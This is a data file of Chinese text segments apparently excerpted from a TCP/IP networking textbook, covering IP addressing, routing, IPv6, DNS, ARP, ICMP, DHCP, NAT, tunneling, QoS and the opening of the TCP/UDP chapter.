    {"text": "有了CIDR和VLSM技术，确实相对缓解了全局IP地址 （为了对应全局IP地址不足的问题，除了CIDR和VLSM之外还有NAT（5.6节）、代理服务器（1.9.7节）等技术。"},
    {"text": "一旦出现IP地址冲突，就会使发送端无法判断究竟应该发给哪个地址。 而接收端收到数据包以后发送回执时，由于地址重复，发送端也无从得知究竟是哪个主机返回的信息，影响通信的正常进行。"},
    {"text": "它不要求为每一台主机或路由器分配一个固定的IP地址，而是在必要的时候只为相应数量的设备分配唯一的IP地址。 尤其对于那些没有连接互联网的独立网络中的主机，只要保证在这个网络内地址唯一，可以不用考虑互联网即可配置相应的IP地址。 不过，即使让每个独立的网络各自随意地设置IP地址，也可能会有问题 （例如因运维方案发生变化该网络需要连接到互联网时，或者不小心误被连接到了互联网时，再例如连接两个本来就各自独立的网络时，都容易发生地址冲突。"},
    {"text": "在日本则由一个叫做JPNIC （Japan Network Information Center，负责日本国内IP地址与AS编号的管理。 ） 的机构进行管理，它是日本国内唯一指定的全局IP地址管理的组织。"},
    {"text": "然而，随着ISP的出现，人们在向ISP申请接入互联网的同时往往还会申请全局IP地址。 在这种情况下，实际上是ISP代替用户向JPNIC申请了一个全局IP地址。"},
    {"text": "图4.21 IP地址的申请流程 不过现在，普遍采用的一种方式是，在LAN中按照4.3.8节所介绍的那样设置私有地址，通过少数设置全局IP地址的代理服务器（1.9.7节）结合NAT（5.6节）的设置进行互联网通信。"},
    {"text": "然而，有时在包的传输过程中可能会遇到一些意外 （例如，设备上的错误配置或设备本身的故障、缺陷导致线路频繁切换以及网络不稳定，路由错误甚至会导致无法与子网主机进行通信、丢包等问题。"},
    {"text": "一旦明确了IP地址，就可以跟管理这个IP地址的域管理员取得联系，提出问题并找到解决问题的突破口 （在互联网上即使遇到问题也没有受理问题的服务窗口。"},
    {"text": "IP地址、AS编号： http://www.nic.ad.jp/ja/whois/ja-gateway.html 域名：http://whois.jprs.jp/ 4.4 路由控制 发送数据包时所使用的地址是网络层的地址，即IP地址。"},
    {"text": "然而仅仅有IP地址还不足以实现将数据包发送到对端目标地址，在数据发送过程中还需要类似于“指明路由器或主机”的信息，以便真正发往目标地址。"},
    {"text": "保存这种信息的就是路由控制表（Routing Table）。 实现IP通信的主机和路由器都必须持有一张这样的表。 它们也正是在这个表格的基础上才得以进行数据包发送的。"},
    {"text": "图4.22 路由控制表与IP包发送 路由控制表中记录着网络地址与下一步应该发送至路由器的地址 （在Windows或Unix上表示路由表的方法分别为netstat-r 或netstat-rn。"},
    {"text": "在发送IP包时，首先要确定IP包首部中的目标地址，再从路由控制表中找到与该地址具有相同网络地址的记录，根据该记录将IP包转发给相应的下一个路由器。"},
    {"text": "此外，如果路由表中下一个路由器的位置记录着某个主机或路由器网卡的IP地址，那就意味着“发送的目标地址属于同一个链路” （目标地址在同一个链路中的情况下，路由表的记录格式可能会根据操作系统和路由器种类的不同而有所区别。"},
    {"text": "这时，默认路由（Default Route）是不错的选择。 默认路由是指路由表中任何一个地址都能与之匹配的记录。 默认路由一般标记为0.0.0.0/0或default （表示子网掩码时，IP地址为0.0.0.0，子网掩码也是0.0.0.0。"},
    {"text": "进行主机路由，意味着要基于主机上网卡上配置的IP地址本身，而不是基于该地址的网络地址部分进行路由。 主机路由多被用于不希望通过网络地址路由的情况 （不过，请读者注意，使用主机路由会导致路由表膨大，路由负荷增加，进而造成网络性能下降。"},
    {"text": "图4.23的例子中路由器C正是将已知192.168.2.0/24与192.168.3.0/24的网络这一信息聚合成为对“192.168.2.0/23的网络也已知”，从而进行公示。"},
    {"text": "图4.23 路由控制表聚合的例子 4.5 IP分割处理与再构成处理 4.5.1 数据链路不同，MTU则相异 如前面4.2.3节中所介绍，每种数据链路的最大传输单元（MTU）都不尽相同。"},
    {"text": "另一方面，随着人们对网络安全的要求提高，路由器需要做的其他处理也越来越多，如网络过滤 （过滤是指只有带有一定特殊参数的IP数据报才能通过路由器。"},
    {"text": "图4.25 路径MTU发现的机制（UDP的情况下） 路径MTU发现的工作原理如下： 首先在发送端主机发送IP数据报时将其首部的分片禁止标志位设置为1。"},
    {"text": "IPv4的地址长度为4个8位字节，即32比特。 而IPv6的地址长度则是原来的4倍，即128比特 （因此IPv6的地址空间是IPv4的2 96 =7.923×10 28 倍。"},
    {"text": "如果将IPv6的地址像IPv4的地址一样用十进制数据表示的话，是16个数字的序列（IPv4是4个数字的序列）。 由于用16个数字序列表示显得有些麻烦，因此，将IPv6和IPv4在标记方法上进行区分。 一般人们将128比特IP地址以每16比特为一组，每组用冒号（“：”）隔开进行标记。"},
    {"text": "IPv6的IP地址标记举例 用二进制数表示 1111111011011100：1011101010011000：0111011001010100： 0011001000010000：1111111011011100：1011101010011000： 0111011001010100：0011001000010000 用十六进制数表示 FEDC：BA98：7654：3210：FEDC：BA98：7654：3210 IPv6的IP地址省略举例 用二进制数表示 0001000010000000：0000000000000000：0000000000000000： 0000000000000000：0000000000000000：0000100000000000： 0010000000001100：0100000101111010 用十六进制数表示 4.6.4 IPv6地址的结构 IPv6类似IPv4，也是通过IP地址的前几位标识IP地址的种类。"},
    {"text": "在不使用路由器或者在同一个以太网网段内进行通信时，可以使用链路本地单播地址。 而在构建允许多种类型IP地址的网络时，在同一个链路上也可以使用全局单播地址以及唯一本地地址进行通信。 在IPv6的环境下，可以同时将这些IP地址全都配置在同1个NIC上，按需灵活使用。"},
    {"text": "而唯一本地地址正是在这种不联网或通过NAT以及代理联网的环境下使用的。 唯一本地地址虽然不会与互联网连接，但是也会尽可能地随机生成一个唯一的全局ID。"},
    {"text": "在这种情况下，人们希望可以在不改动IP地址的情况下即可实现网络的统一 （全局ID不一定必须是全世界唯一的，但是完全一致的可能性也不高。"},
    {"text": "图4.31 IP数据报格式（IPv4） ■ 版本（Version） 由4比特构成，表示标识IP首部的版本号。 IPv4的版本号即为4，因此在这个字段上的值也是“4”。"},
    {"text": "关于IP版本的最新情况，读者也可以在以下网址发布的信息中查看： http://www.iana.org/assignments/version-numbers 表4.4 IP首部的版本号 ■ 关于IP版本号 IPv4的下一个版本是IPv6。"},
    {"text": "0- 最后一个分片的包 1- 分片中段的包 ■ 片偏移（FO：Fragment Offset） 由13比特构成，用来标识被分片的每一个分段相对于原始数据的位置。"},
    {"text": "关于协议编号一览表的更新情况可以从以下网站获取： http://www.iana.org/assignments/protocol-numbers 表4.8 上层协议编号 ■ 首部校验和（Header Checksum） 由16比特（2个字节）构成，也叫IP首部校验和。"},
    {"text": "校验和的计算过程，首先要将该校验和的所有位置设置为0，然后以16比特为单位划分IP首部，并用1补数 （1补数 通常计算机中对整数运算采用2补数的方式。"},
    {"text": "在进行服务质量控制时，将流标号设置为一个随机数，然后利用一种可以设置流的协议RSVP（Resource Reservation Protocol） （RSVP相关的更多细节，请参考5.8.3节中的IntServ。"},
    {"text": "路由器接收到这样的IP包后先将流标号作为查找关键字，迅速从服务质量控制信息中查找并做相应处理 （采用QoS的路由器必须尽早转发所接受的包。"},
    {"text": "由于IPv6的可选项是指连接IPv6首部的数据，因此当有可选项时，此处包含可选项数据的所有长度就是Playload Length （该字段长度为16比特，因此数据最大长度可达65535字节。"},
    {"text": "表4.9 IPv6扩展首部与协议号 [1] 例如：查找域名可参考http://ewhois.cnnic.net.cn/，查找IP地址和AS编号可参考http://ipwhois.cnnic.net.cn/ipwhois.php。"},
    {"text": "5.1 仅凭IP无法完成通信 到第4章为止，主要介绍了网络通信中利用IP如何实现让数据包到达最终目标主机的功能，想必读者已经对此有所了解。"},
    {"text": "在访问Web站点和发送、接收电子邮件时，我们通常会直接输入Web网站的地址或电子邮件地址等那些由应用层提供的地址，而不会使用由十进制数字组成的某个IP地址。"},
    {"text": "然而，直接使用IP地址有很多不便之处。 例如，在进行应用操作时，用户必须指定对端的接收地址，此时如果使用IP地址的话应用就会有很多不便之处。 因为IP地址是由一串数据序列组成，并不好记 （电话号码也是一种数据序列。"},
    {"text": "图5.1 主机名与IP地址之间的转换 在互联网的起源ARPANET中，起初由互联网信息中心（SRI-NIC）整体管理一份hosts文件。 如果新增一台计算机接入到ARPANET网或者已有的某台计算机要进行IP地址变更，中心的这个hosts文件就得更新，而其他计算机则不得不定期下载最新的hosts文件才能正常使用网络。"},
    {"text": "在应用中，当用户输入主机名（域名）时，DNS会自动检索那个注册了主机名和IP地址的数据库，并迅速定位对应的IP地址 （Windows和Unix中若想查找域名对应的IP地址，常用nslookup命令。"},
    {"text": "例如，仓敷艺术科学大学的域名如下： kusa.ac.jp 域名由几个英文字母（或英文字符序列）用点号连接构成。 在上述域名中最左边的“kusa”表示仓敷艺术科学大学（Kurashiki University of Science and the Arts）固有的域名。"},
    {"text": "在使用域名时，可以在每个主机名后面追加上组织机构的域名 （持有域名的组织机构可以设置自己的子网，此时的子域名要介于主机名和域名之间。"},
    {"text": "例如，有pepper、piyo、kinoko等主机时，它们完整的带域名的主机名将呈如下形式： pepper.kusa.ac.jp piyo.kusa.ac.jp kinoko.kusa.ac.jp 在启用域名功能之前，单凭主机名还无法完全管理IP地址，因为在不同的组织机构中不允许有同名的主机。"},
    {"text": "顶点的下一层叫做第1层域名 （顶级域名（TLD：Top Level Domain）） ，它包括“jp（日本）”、“uk（英国）”等代表国家的域名 （国别顶级域名（ccTLD：country code TLD）） ，还包括代表“edu（美国教育机构）”或“com（美国企业）”等特定领域的域名 （通用顶级域名（gTLD：generic TLD）） 。"},
    {"text": "反之，如果想要新增一个类似jp或org的域名或修改某个已有域名，就得在根域名服务器中进行追加或变更。 类似地，在根域名服务器的下一层域名服务器中注册了再往下一层域名服务器的IP地址。"},
    {"text": "不过，如果想修改该分层的域名或重新设置域名服务器的IP地址，还必须得在其上层的域名服务器中进行追加或修改。 因此，域名和域名服务器需要按照分层进行设置。"},
    {"text": "所有的域名服务器都必须注册根域名服务器的IP地址。 因为DNS根据IP地址进行检索时，需要从根域名服务器开始按顺序进行。 关于根域名服务器IP地址相关的最新情况可以参考如下网站： http://www.internic.net/zones/named.root ■ 解析器（Resolver） 进行DNS查询的主机和软件叫做DNS解析器。"},
    {"text": "接收这个查询请求的域名服务器首先会在自己的数据库进行查找。 如果有该域名所对应的IP地址就返回。 如果没有，则域名服务器再向上一层根域名服务器进行查询处理。"},
    {"text": "例如，主机名与IP地址的对应信息叫做A记录。 反之，从IP地址检索主机名称的信息叫做PTR。 此外，上层或下层域名服务器IP地址的映射叫做NS记录。"},
    {"text": "以目标IP地址为线索，用来定位下一个应该接收数据分包的网络设备对应的MAC地址。 如果目标主机不在同一个链路上时，可以通过ARP查找下一跳路由器的MAC地址。"},
    {"text": "如图5.6所示，假定主机A向同一链路上的主机B发送IP包，主机A的IP地址为172.20.1.1，主机B的IP地址为172.20.1.2，它们互不知道对方的MAC地址。"},
    {"text": "如果ARP请求包中的目标IP地址与自己的IP地址一致，那么这个节点就将自己的MAC地址塞入ARP响应包返回给主机A。 总之，从一个IP地址发送ARP请求包以了解其MAC地址 （ARP请求包还有一个作用，那就是将自己的MAC地址告诉给对方。 ） ，目标地址将自己的MAC地址填入其中的ARP响应包返回到IP地址。 由此，可以通过ARP从IP地址获得MAC地址，实现链路内的IP通信。 根据ARP可以动态地进行地址解析，因此，在TCP/IP的网络构造和网络通信中无需事先知道MAC地址究竟是什么，只要有IP地址即可。 如果每发送一个IP数据报都要进行一次ARP请求以此确定MAC地址，那将会造成不必要的网络流量，因此，通常的做法是把获取到的MAC地址缓存 （是指预见到同样的信息可能会再次使用，从而在内存中开辟一块区域记忆这些信息。"},
    {"text": "） 到一个ARP缓存表中，下一次再向这个IP地址发送数据报时不需再重新发送ARP请求，而是直接使用这个缓存表当中的MAC地址进行数据报的发送。"},
    {"text": "反之，接收ARP请求的那个主机又可以从这个ARP请求包获取发送端主机的IP地址及其MAC地址。 这时它也可以将这些MAC地址的信息缓存起来，从而根据MAC地址发送ARP响应包给发送端主机。 类似地，接收到IP数据报的主机又往往会继续返回IP数据报给发送端主机，以作为响应。 因此，在接收主机端缓存MAC地址也是一种提高效率的方法。 不过，MAC地址的缓存是有一定期限的。"},
    {"text": "如图5.8所示，主机A想要发送IP数据报给主机B时必须得经过路由器C。 即使知道了主机B的MAC地址，由于路由器C会隔断两个网络，还是无法实现直接从主机A发送数据报给主机B。 此时，主机A必须得先将数据报发送给路由器C的MAC地址C1。"},
    {"text": "于是路由器D又将该消息转发给路由器C，导致数据包被重复发送两次 （为了防止这种现象的出现，目前路由器可以做到将那些MAC地址成为了广播地址的IP数据报不进行转发。"},
    {"text": "于是就有将这两个地址相关联的ARP协议 （为了避免这两个阶段的通信带来过多的网络流量，ARP具有对IP地址和MAC地址的映射进行缓存的功能。"},
    {"text": "一旦这些信息超过网桥所能承受的极限，那将会导致网桥无法正常工作，也就无法实现通信了 （与之对应的IP地址路由控制表也将会变得无比庞大。"},
    {"text": "然而，对于使用嵌入式设备时，会遇到没有任何输入接口或无法通过DHCP动态获取IP地址的情况 （通过个人电脑连接这个嵌入式设备时虽然可以为其指定IP地址，但是用DHCP动态分配IP地址，有时会遇到无法知道所分配的IP是多少的情况。"},
    {"text": "然后再将这个设备接入到网络，插电启动设备时，该设备会发送一条“我的MAC地址是***，请告诉我，我的IP地址应该是什么”的请求信息。 RARP服务器接到这个消息后返回类似于“MAC地址为***的设备，IP地址为***”的信息给这个设备。 而设备就根据从RARP服务器所收到的应答信息设置自己的IP地址。"},
    {"text": "例如，一个刚刚搭建好的网络，需要验证该网络的设置是否正确 （网络的设置可以包括很多内容，网线连好后涉及IP地址或子网掩码的设置、路由表的设置、DNS服务器的设置、邮件服务器的设置以及代理服务器的设置等。"},
    {"text": "ICMP的主要功能包括，确认IP包是否成功送达目标地址，通知在发送过程当中IP包被废弃的具体原因，改善网络设置等。 有了这些功能以后，就可以获得网络是否正常、设置是否有误以及设备有何异常等信息，从而便于进行网络上的问题诊断 （不过，ICMP是基于尽力而为的IP上进行工作的，因此无法保证服务质量，而且在网络安全优先于便利性的环境里往往无法使用ICMP，因此不宜过分依赖ICMP。"},
    {"text": "在IP通信中如果某个IP包因为某种原因未能达到目标地址，那么这个具体的原因将由ICMP负责通知。 如图5.10，主机A向主机B发送了数据包，由于某种原因，途中的路由器2未能发现主机B的存在，这时，路由器2就会向主机A发送一个ICMP包，说明发往主机B的包未能成功。 ICMP的这种通知消息会使用IP进行发送 （在ICMP中，包以明文的形式像TCP/UDP一样通过IP进行传输。"},
    {"text": "（如图5.3） 图5.10 ICMP无法到达的消息 表5.2 ICMP消息类型 5.4.2 主要的ICMP消息 ■ ICMP目标不可达消息（类型3） IP路由器无法将IP数据包发送给目标地址时，会给发送端主机返回一个目标不可达（Destination Unreachable Message）的ICMP消息，并在这个消息中显示不可达的具体原因，如表5.3所示。"},
    {"text": "表5.3 ICMP不可达消息 ■ ICMP重定向消息（类型5） 如果路由器发现发送端主机使用了次优的路径发送数据，那么它会返回一个ICMP重定向（ICMP Redirect Message）的消息给这个主机。"},
    {"text": "不过，多数情况下由于这种重定向消息成为引发问题的原因，所以往往不进行这种设置 （例如，不是发送端主机，而是途中某个路由器的路由控制表不正确时，ICMP有可能无法正常工作。"},
    {"text": "■ ICMP超时消息（类型11） IP包中有一个字段叫做TTL（Time To Live，生存周期），它的值随着每经过一次路由器就会减1 （当IP包在路由器上停留1秒以上时减去所停留的秒数，但是现在绝大多数设备并不做这样的处理。"},
    {"text": "图5.12 ICMP时间超过消息 ■ 方便易用的traceroute 有一款充分利用ICMP超时消息的应用叫做traceroute （在UNIX、MacOS中是这个命令，而在Windows中对等的命令叫做tracert。"},
    {"text": "关于traceroute的源代码可以参考以下网址： http://ee.lbl.gov/ ■ ICMP回送消息（类型0、8） 用于进行通信的主机或路由器之间，判断所发送的数据包是否已经成功到达对端的一种消息。 可以向对端主机发送回送请求的消息（ICMP Echo Request Message，类型8），也可以接收对端主机发回来的回送应答消息（ICMP Echo Reply Message，类型0）。"},
    {"text": "图5.13 ICMP回送消息 5.4.3 其他ICMP消息 ■ ICMP原点抑制消息（类型4） 在使用低速广域线路的情况下，连接WAN的路由器可能会遇到网络拥堵的问题。"},
    {"text": "当路由器向低速线路发送数据时，其发送队列的残存变为零而无法发送出去时，可以向IP包的源地址发送一个ICMP原点抑制（ICMP Source Quench Message）消息。"},
    {"text": "■ ICMP路由器探索消息（类型9、10） 主要用于发现与自己相连网络中的路由器。 当一台主机发出ICMP路由器请求（Router Solicitaion，类型10）时，路由器则返回ICMP路由器公告消息（Router Advertisement，类型9）给主机。 ■ ICMP地址掩码消息（类型17、18） 主要用于主机或路由器想要了解子网掩码的情况。 可以向那些目标主机或路由器发送ICMP地址掩码请求消息（ICMP Address Mask Request，类型17），然后通过接收ICMP地址掩码应答消息（ICMP Address Mask Reply，类型18）获取子网掩码的信息。"},
    {"text": "尤其在IPv6中，从IP地址定位MAC地址的协议从ARP转为ICMP的邻居探索消息（Neighbor Discovery）。 这种邻居探索消息融合了IPv4的ARP、ICMP重定向以及ICMP路由器选择消息等功能于一体，甚至还提供自动设置IP地址的功能 （ICMPv6中没有DNS服务器的通知功能，因此实际上需要与DHCPv6组合起来才能实现自动设置IP地址。"},
    {"text": "ICMPv6中将ICMP大致分为两类：一类是错误消息，另一类是信息消息。 类型0～127属于错误消息，128～255属于信息消息。 表5.4 ICMPv6 错误消息 表5.5 ICMPv6 信息消息 ■ 邻居探索 ICMPv6中从类型133至类型137的消息叫做邻居探索消息。"},
    {"text": "于是，为了实现自动设置IP地址、统一管理IP地址分配，就产生了DHCP（Dynamic Host Configuration Protocol）协议。 有了DHCP，计算机只要连接到网络，就可以进行TCP/IP通信。 也就是说，DHCP让即插即用 （指只要物理上一连通，无需专门设置就可以直接使用这个物理设备。"},
    {"text": "关于从DHCP中获取IP地址的流程，以图5.17为例简单说明的话，主要分为两个阶段 （在发送DHCP发现包与DHCP请求包时，DHCP即插即用的IP地址尚未确定。"},
    {"text": "不过启动多个DHCP服务器时，由于每个服务器内部都记录着IP地址分配情况的信息，因此可能会导致几处分配的IP地址相互冲突 （为了避免这种地址重复的危险，可以在DHCP服务器上区分所要分配的地址。"},
    {"text": "为了检查所要分配的IP地址以及已经分配了的IP地址是否可用，DHCP服务器或DHCP客户端必须具备以下功能： DHCP服务器 在分配IP地址前发送ICMP回送请求包，确认没有返回应答。"},
    {"text": "即使路由器可以分担DHCP的功能，如果网络中有不下100个路由器，就要为100个路由器设置它们各自可分配IP地址的范围，并对这些范围进行后续的变更维护，这将是一个极其耗时和难于管理的工作 （DHCP服务器分配的IP地址范围，有时会随着服务器或打印机等固定IP设备的增减而不得不发生变化。"},
    {"text": "因此，在这类网络环境中，往往需要将DHCP统一管理。 具体方法可以使用DHCP中继代理来实现。 有了DHCP中继代理以后，对不同网段的IP地址分配也可以由一个DHCP服务器统一进行管理和运维。 这种方法使得在每个网段架设一个DHCP服务器被取代，只需在每个网段设置一个DHCP中继代理即可 （DHCP中继代理多数为路由器，不过也有在主机中安装某些软件得以实现的情况。"},
    {"text": "DHCP客户端会向DHCP中继代理发送DHCP请求包，而DHCP中继代理在收到这个广播包以后再以单播的形式发给DHCP服务器。 服务器端收到该包以后再向DHCP中继代理返回应答，并由DHCP中继代理将此包转发给DHCP客户端 （DHCP包中包含发出请求的主机的MAC地址。 DHCP中继代理正是利用这个MAC地址将包返回给了DHCP客户端。"},
    {"text": "图5.18 DHCP中继代理 5.6 NAT 5.6.1 NAT定义 NAT（Network Address Translator）是用于在本地网络中使用私有地址，在连接互联网时转而使用全局IP地址的技术。 除转换IP地址外，还出现了可以转换TCP、UDP端口号的NAPT（Network Address Ports Translator）技术，由此可以实现用一个全局IP地址与多个主机的通信 （通常人们提到的NAT，多半是指NAPT。 NAPT也叫做IP伪装或Multi NAT。"},
    {"text": "利用NAT，途中的NAT路由器将发送源地址从10.0.0.10转换为全局的IP地址（202.244.174.37）再发送数据。 反之，当包从地址163.221.120.9发过来时，目标地址（202.244.174.37）先被转换成私有IP地址10.0.0.10以后再被转发 （在TCP或UDP中，由于IP首部中的IP地址还要用于校验和的计算，因此当IP地址发生变化时，也需要相应地将TCP、UDP的首部进行转换。"},
    {"text": "不过在此需要注明的一点是，在使用TCP或UDP的通信当中，只有目标地址、源地址、目标端口、源端口以及协议类型（TCP还是UDP）五项内容都一致时才被认为是同一个通信连接。"},
    {"text": "图5.20中，主机163.221.120.9的端口号是80，LAN中有两个客户端10.0.0.10和10.0.0.11同时进行通信，并且这两个客户端的本地端口都是1025。"},
    {"text": "而后又随着收到关闭连接时发出FIN包的确认应答从表中被删除 （UDP中两端应用进行通信时起止时间不一定保持一致，因此在这种情况下生成转换表相对较难。"},
    {"text": "5.6.4 NAT的潜在问题 由于NAT（NAPT）都依赖于自己的转换表，因此会有如下几点限制： 无法从NAT的外部向内部服务器建立连接 （虽然可以指定端口号允许向内部访问，但是数量要受限于全局IP地址的个数。"},
    {"text": "在IPv6环境下可用的IP地址范围有了极大的扩展，以至于公司或家庭当中所有设备都可以配置一个全局IP地址 （然而，如果不是所有设备都有IPv6的地址，其意义也就不大了。"},
    {"text": "这时，如果转换表构造合理，那么还能实现NAT外侧的主机与内侧的主机建立连接进行通信。 有了这个方法，就可以让那些处在不同NAT内侧的主机之间也能够进行相互通信。"},
    {"text": "此外，应用还可以与NAT路由器进行通信生成NAT表，并通过一定的方法将NAT路由器上附属的全局IP地址传给应用 （可以使用微软提供的UPnP（Universal Plug and Play）规范。"},
    {"text": "而且应用一旦运行在一个开发者未预想到的特殊网络环境中时，会出现无法正常工作、遇到状况时难于诊断等问题 （迁移到IPv6以后，系统会变得更为简单，因此它有着相当大的优势。"},
    {"text": "5.7 IP隧道 在一个如图5.22所示的网络环境里，网络A、B使用IPv6，如果处于中间位置的网络C支持使用IPv4的话，网络A与网络B之间将无法直接进行通信。"},
    {"text": "图5.22 夹着IPv4网络的两个IPv6网络 IP隧道中可以将那些从网络A发过来的IPv6的包统和为一个数据，再为之追加一个IPv4的首部以后转发给网络C。"},
    {"text": "在这种网络环境中，由于其路由表的量有可能会涨到平常的两倍，所以会给网络管理员增加不小的负担，而在路由器进行两种协议都要支持的设置也是相当费劲的事情。"},
    {"text": "由于现在很多路由器上没有多播包的路由控制信息，多播消息也就无法穿越路由器发送信息。 那么在这类环境当中，如果使用IP隧道，就可以使路由器用单播的形式发包，也就能够向距离较远的链路转发多播消息。"},
    {"text": "支持IGMP（MLD）探听的交换集线器可以过滤多播帧，从而也能降低网络的负荷。 在IGMP（MLD）探听中，交换集线器对所通过的IGMP（MLD）包进行监控 （IGMP（MLD）包由IP（IPv6）的包进行传送，而非数据链层的包。 支持IGMP（MLD）的交换集线器不仅需要解析数据链路层的包，还得能够解析IP（IPv6）和IGMP（MLD）的包。"},
    {"text": "当人们拨打110或119时，其接收电话并不是只有一个，而是可以拨打到一个区域管辖范围内的所有公安或消防部门。 省、市、县、乡等不同级别的区域都各自设置着110与119的急救电话，而且数量极其庞大。"},
    {"text": "IP任播是指为那些提供同一种服务的服务器配置同一个IP地址，并与最近的服务器进行通信的一种方法 （选择哪个服务器由路由协议的类型和设置方法决定。"},
    {"text": "这在面向非连接的UDP发出请求而无需应答的情况下没有问题，但是对于面向连接的TCP通信或在UDP中要求通过连续的多个包进行通信的情况，就显得力不从心了。"},
    {"text": "近几年，特别是随着音频和视频服务对实时性要求的逐渐提高，在使用IP通信过程当中能够保证服务质量（QoS：Quality of Service）的技术受到了前所未有的追捧。"},
    {"text": "为了控制通信质量，人们提出了RSVP （Resolution Reservation Protocol） 技术，它包括两个内容，一是提供点对点的详细优先控制（IntServ）另一个是提供相对较粗粒度的优先控制（DiffServ）。 ■ IntServ IntServ是针对特定应用之间的通信进行质量控制的一种机制。"},
    {"text": "这里的“特定的应用”是指源IP地址、目标IP地址、源端口、目标端口以及协议号五项完全内容一致 （源端口与目标端口是TCP/UDPQN首部中的信息，具体可参考第6章。"},
    {"text": "IntServ所涉及的通信并非一直进行，只是在必要的时候进行。 因此IntServ也只有在必要的时候才要求在路由器上进行设置，这也叫“流量设置”。"},
    {"text": "RSVP中在接收端针对发送端传送控制包，并在它们之间所有的路由器上进行有质量控制的设定 （具体可以是带宽、延迟、时延波动（抖动）、丢包率，等。"},
    {"text": "通知拥塞的时候，要将当前的拥塞情况传达给那个发送数据包的源地址主机 （虽然5.4.3节介绍过的ICMP原点抑制消息正是由此产生的，但是实际上几乎从未被使用过。"},
    {"text": "在UDP的情况下也无法继续通信，不过鉴于UDP是面向非连接的协议，或许可以在应用层面上处理变更IP地址的问题 （TCP的情况下，会断开TCP连接，不过通过修复等方法使应用上应对IP地址的变更也不是不可能的。"},
    {"text": "如图5.30，Mobile IP中的移动主机，在移动之前按照以往的模式进行通信，而移动之后则通过外部代理发送转发数据包向归属代理通知自己的地址。"},
    {"text": "是因为从移动主机发给通信对端的IP包的源地址是归属地址，与另一个域的IP地址不符（如图5.30④中的IP包），因此目的地路由器可能会丢弃这个包 （为了避免该问题的发生，现在Mobile IP中移动主机向通信对端发送IP包时要经由归属代理，这也叫做双向隧道。"},
    {"text": "第6章 TCP与UDP 本章旨在介绍传输层的两个主要协议TCP（Transmission Control Protocol）与UDP（User Datagram Protocol）。 6.1 传输层的作用 TCP/IP中有两个具有代表性的传输层协议，它们分别是TCP和UDP。 TCP提供可靠的通信传输，而UDP则常被用于让广播和细节控制交给应用的通信传输。"},
    {"text": "根据这个字段的协议号，就可以识别IP传输的数据部分究竟是TCP的内容，还是UDP的内容。 同样，传输层的TCP和UDP，为了识别自己所传输的数据部分究竟应该发给哪个应用，也设定了这样一个编号。"},
    {"text": "前面提到的“应用程序”其实就是用来进行TCP/IP应用协议的处理。 因此，TCP/IP中所要识别的“姓氏”就可以被理解为应用协议。 TCP/IP的众多应用协议大多以客户端/服务端的形式运行。 客户端 （客户端（Client）具有客户的意思。 在计算机网络中是提供服务和使用服务的一方。 ） 类似于客户的意思，是请求的发起端。 而服务端 （服务端（Server）在计算机网络中则意味着提供服务的程序或计算机。 ） 则表示提供服务的意思，是请求的处理端。 另外，作为服务端的程序有必要提前启动，准备接收客户端的请求。 否则即使有客户端的请求发过来，也无法做到相应的处理。"},
    {"text": "图6.2 HTTP连接请求 这些服务端程序在UNIX系统当中叫做守护进程。 例如HTTP的服务端程序是httpd（HTTP守护进程），而ssh的服务端程序是sshd（SSH守护进程）。 在UNIX中并不需要将这些守护进程逐个启动，而是启动一个可以代表它们接收客户端请求的inetd（互联网守护进程）服务程序即可。"},
    {"text": "以图6.2为例，传输协议的数据将被传递给HTTP、TELNET以及FTP等应用层协议。 6.1.3 两种传输层协议TCP和UDP 在TCP/IP中能够实现传输层功能的、具有代表性的协议是TCP和UDP。"},
    {"text": "当应用程序采用TCP发送消息时，虽然可以保证发送的顺序，但还是犹如没有任何间隔的数据流发送给接收端 （例如，在发送端应用程序发送了10次100字节的消息，那么在接收端，应用程序有可能会收到一个1000字节连续不间断的数据。"},
    {"text": "在UDP的情况下，虽然可以确保发送消息的大小 （例如，发送端应用程序发送一个100字节的消息，那么接收端应用程序也会以100字节为长度接收数据。 UDP中，消息长度的数据也会发送到接收端，因此在发送的消息中不需要设置一个表示消息长度或间隔的字段信息。"},
    {"text": "即使有部分数据丢失，也只是会影响某一小部分的通话 （在实时传送动画或声音时，途中一小部分网络的丢包可能会导致画面或声音的短暂停顿甚至出现混乱。"},
    {"text": "应用程序利用套接字，可以设置对端的IP地址、端口号，并实现数据的发送与接收。 图6.3 套接字 6.2 端口号 6.2.1 端口号定义 数据链路和IP中的地址，分别指的是MAC地址和IP地址。"},
    {"text": "下图中③跟①的目标端口号和源端口号完全相同，但是它们各自的源IP地址不同。 此外，还有一种情况上图中并未列出，那就是IP地址和端口全都一样，只是协议号（表示上层是TCP或UDP的一种编号）不同。"},
    {"text": "图6.5 识别多个请求 6.2.4 端口号如何确定 在实际进行通信时，要事先确定端口号。 确定端口号的方法分为两种： ■ 标准既定的端口号 这种方法也叫静态方法。"},
    {"text": "关于知名端口号以及注册端口号的最新消息，请参考如下网址： http://www.iana.org/assignments/port-numbers ■ 时序分配法 第二种方法也叫时序（或动态的）分配法。"},
    {"text": "在这种方法下，客户端应用程序可以完全不用自己设置端口号，而全权交给操作系统进行分配。 操作系统可以为每个应用程序分配互不冲突的端口号。"},
    {"text": "6.2.5 端口号与协议 端口号由其使用的传输层协议决定。 因此，不同的传输协议可以使用相同的端口号。 例如，TCP与UDP使用同一个端口号，但使用目的各不相同。 这是因为端口号上的处理是根据每个传输协议的不同而进行的。"},
    {"text": "数据到达IP层后，会先检查IP首部中的协议号，再传给相应协议的模块。 如果是TCP则传给TCP模块、如果是UDP则传给UDP模块去做端口号的处理。"},
    {"text": "） 服务，而80端口用于HTTP通信。 从目前来看，由于HTTP通信必须使用TCP，因此UDP的80端口并未投入使用。 但是将来，如果HTTP协议的实现也开始应对UDP协议以及应用协议被相应扩展的情况下，就可以原样使用与TCP保持相同的80端口号了。"},
    {"text": "如果需要这些细节控制，那么不得不交由采用UDP的应用程序去处理 （由于互联网中没有一个能够控制全局的机制，因此通过互联网发送大量数据时，各个节点将力争不给其他用户添麻烦。"},
    {"text": "UDP有点类似于用户说什么听什么的机制，但是需要用户充分考虑好上层协议类型并制作相应的应用程序。 因此，也可以说，UDP按照“制作程序的那些用户的指示行事”。"},
    {"text": "再加上UDP本身的处理既简单又高效，因此经常用于以下几个方面： 包总量较少的通信（DNS、SNMP等） 视频、音频等多媒体通信（即时通信） 限定于LAN等特定网络中的应用通信 广播通信（广播、多播） ■ 用户与程序员 此处所使用的“用户”并不单单指“互联网的使用者”。"},
    {"text": "也就是说，认为UDP是按照程序员的编程思路在传送数据报也情有可原 （与之相比，由于TCP拥有各式各样的控制机制，所以它在发送数据时未必按照程序员的编程思路进行。"},
